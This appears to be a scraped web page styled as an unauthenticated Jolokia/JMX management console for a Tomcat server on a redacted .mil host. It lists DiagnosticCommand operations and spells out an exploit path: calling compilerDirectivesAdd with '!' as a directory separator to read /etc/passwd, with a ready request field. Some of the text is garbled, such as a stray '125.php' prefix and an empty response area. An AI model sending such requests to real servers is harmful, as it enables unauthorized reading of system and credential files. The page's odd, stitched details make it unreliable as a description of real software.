JVM Management Interface · MBean Server · Apache Tomcat 9.0.58
Agent Status com.sun.management
Running MBean Count: 1,247 JVM: OpenJDK 11.0.21 Host: ████████.mil:8778 Auth: None
Available Operations — DiagnosticCommand com.sun.management:type=DiagnosticCommand
MBean: com.sun.management:type=DiagnosticCommand
Operation Type Description
compilerDirectivesAdd
/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/{argument}
EXEC Add compiler directives from file. Takes a file path argument. Uses ! as directory separator in URL path.
compilerDirectivesClear
/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesClear
EXEC Remove all compiler directives.
compilerDirectivesPrint
/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesPrint
READ Print current compiler directives to stdout.
vmSystemProperties
/jolokia/read/java.lang:type=Runtime/SystemProperties
READ Get all JVM system properties.
URL Structure
// Base endpoint https://████████.mil/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/{argument} // {argument} uses ! as directory separator // Example: read /etc/passwd /jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd
Send Request
125.php/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/
Use ! as directory separator. Example: !/etc!/passwd → reads /etc/passwd
HTTP Response

          
Other Jolokia Endpoints
PathMethodDescription
/jolokia/versionGETReturns agent version and server info
/jolokia/listGETLists all registered MBeans and their attributes
/jolokia/read/{mbean}/{attr}GETRead a specific MBean attribute value
/jolokia/search/{pattern}GETSearch MBeans matching a pattern